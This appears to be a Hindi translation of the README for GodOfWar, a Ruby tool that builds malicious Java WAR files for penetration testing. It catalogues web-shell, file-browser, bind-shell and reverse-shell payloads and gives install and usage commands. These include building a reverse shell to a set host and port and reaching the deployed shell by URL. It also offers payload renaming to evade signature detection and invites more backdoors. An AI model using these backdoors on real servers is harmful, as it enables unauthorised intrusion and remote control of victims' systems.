GodOfWar - दुर्भावनापूर्ण Java WAR निर्माता

पेनिट्रेशन टेस्टिंग / रेड टीमिंग उद्देश्यों के लिए वार पेलोड उत्पन्न करने वाला एक कमांड-लाइन टूल, रूबी में लिखा गया।

                              .
                             hhh              
                            hhhhhhh           
                           hhhhhhhh        
                          hhhhhhhh+        
                         hhhhhhhh'           
                        hhhhhhhh.            
                       hhhhhhhhh             
        ..--          hhhhhhhhh             
      -sh/..  +.     hhhhhhhhh:              
      /+/:-/+ss-`   hhhhhhhhhh:               
      /MMM`ss:``.`  hhhhhhhhhh:              
     .MMMMM:        hhhhhhhhhhhhhhhhh:       
     MMMMMMM:        hhhhhhhhhhhhhhhh:      
     MMMMMMMMMMMMM:  hhhhhhhhhhhhhhhh`       
    :NNm:odh/oMMMNs. hhhhhhhhhhhhhhhh`       
   ./:`smdo+oos++-    `++sNMMMMMNmh+         
      .-y-`     ` :.  /   -dmddhhhhh-        
       o/-     `//o/ /M/   `+hhhhhhhh`       
      /o     :yosmy   +y  .`.hhhhhhhho       
      +`     /../.:      `.y::hhhhhs:`       
       `      `+yys`   .sy` /oohhy:          
                `/:s/-``     `.hh`           
               ..`     `       y+            
            .hNNmmNdymmmmds`   :-            
            hs.   ``..    :y-  `             
               -hhmNmddm+   .                
               `NMMMMMMm                     
                ` `oMMy                      
            `.     /Md-      :o  
           MMMMMMMMMMMMMMMMMMM:             
            MMMMMMMMMMMMMMMMMM:              
             MMMMMMMMMMMMMMMMM               
              MMMMMMMMMMMMMMM.               
              `MMMMMMMMMMMMM.                 
                :sNMMMNMdo:                  
                  ``+m:/-                    
                     `                                  
GodOfWar - Malicious Java WAR builder.

विशेषताएँ

• पूर्व-मौजूद पेलोड। (-l/--list आज़माएँ)
  • cmd_get
  • filebrowser
  • bind_shell
  • reverse_shell
  • reverse_shell_ui
• कॉन्फ़िगरेबल बैकडोर। (--host/--port आज़माएँ)
• पेलोड नाम पर नियंत्रण।
  • डिप्लॉयमेंट के बाद URL नाम सिग्नेचर को बायपास करने के लिए दुर्भावनापूर्ण नाम से बचने हेतु।

स्थापना

$ gem install godofwar

उपयोग

$ godofwar -h 

सहायता मेन्यू:
   -p, --payload PAYLOAD            उपलब्ध पेलोड में से एक से war उत्पन्न करता है।
                                        (जाँचें -l/--list)
   -H, --host IP_ADDR               चुने हुए पेलोड के लिए स्थानीय या रिमोट IP पता
                                        (-p/--payload के साथ प्रयोग करें)
   -P, --port PORT                  चुने हुए पेलोड के लिए स्थानीय या रिमोट पोर्ट
                                        (-p/--payload के साथ प्रयोग करें)
   -o, --output [FILE]              आउटपुट फ़ाइल और डिप्लॉयमेंट नाम।
                                        (डिफ़ॉल्ट पेलोड का मूल नाम है। जाँचें '-l/--list')
   -l, --list                       सभी उपलब्ध पेलोड सूचीबद्ध करें।
   -h, --help                       यह सहायता संदेश दिखाएँ।

उदाहरण

सभी पेलोड सूचीबद्ध करें

$ godofwar -l
├── cmd_get
│   └── Information:
│       ├── Description: Command execution via web interface
│       ├── OS:          any
│       ├── Settings:    {"false"=>"No Settings required!"}
│       ├── Usage:       http://host/cmd.jsp?cmd=whoami
│       ├── References:  ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get
├── filebrowser
│   └── Information:
│       ├── Description: Remote file browser, upload, download, unzip files and native command execution
│       ├── OS:          any
│       ├── Settings:    {"false"=>"No Settings required!"}
│       ├── Usage:       http://host/filebrowser.jsp
│       ├── References:  ["http://www.vonloesch.de/filebrowser.html"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser
├── bind_shell
│   └── Information:
│       ├── Description: TCP bind shell
│       ├── OS:          any
│       ├── Settings:    {"port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse-shell.jsp
│       ├── References:  ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell
├── reverse_shell_ui
│   └── Information:
│       ├── Description: TCP reverse shell with a HTML form to set LHOST and LPORT from browser.
│       ├── OS:          any
│       ├── Settings:    {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse_shell_ui.jsp
│       ├── References:  []
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui
├── reverse_shell
│   └── Information:
│       ├── Description: TCP reverse shell. LHOST and LPORT are hardcoded
│       ├── OS:          any
│       ├── Settings:    {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse_shell.jsp
│       ├── References:  []
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell

LHOST और LPORT के साथ पेलोड उत्पन्न करें

godofwar -p reverse_shell -H 192.168.100.10 -P 9911 -o puppy

डिप्लॉयमेंट के बाद, आप अपने शेल पर जा सकते हैं (http://host:8080/puppy/puppy.jsp)

योगदान

1. इसे फोर्क करें ( https://github.com/KINGSABRI/godofwar/fork ).
2. अपनी फीचर शाखा बनाएं (git checkout -b my-new-feature)।
3. अपने बदलावों को कमिट करें (git commit -am 'Add some feature')।
4. शाखा पर पुश करें (git push origin my-new-feature)।
5. एक नया पुल अनुरोध बनाएं।

और बैकडोर जोड़ें

अधिक बैकडोर जोड़कर योगदान देने के लिए:

1. payloads निर्देशिका के अंतर्गत एक नया फ़ोल्डर बनाएं।
2. अपनी jsp फ़ाइल को नवनिर्मित निर्देशिका के अंतर्गत रखें (इसे निर्देशिका का समान नाम दें)।
3. payloads_info.json फ़ाइल को अपडेट करें:
   1. विवरण।
   2. समर्थित ऑपरेटिंग सिस्टम (हालाँकि इसे सार्वभौमिक बनाने का प्रयास करें)।
   3. कॉन्फ़िगरेशन: डिफ़ॉल्ट होस्ट और पोर्ट।
   4. संदर्भ: पेलोड का मूल या इसके निर्माता का श्रेय।

लाइसेंस

यह जेम MIT लाइसेंस की शर्तों के तहत ओपन सोर्स के रूप में उपलब्ध है।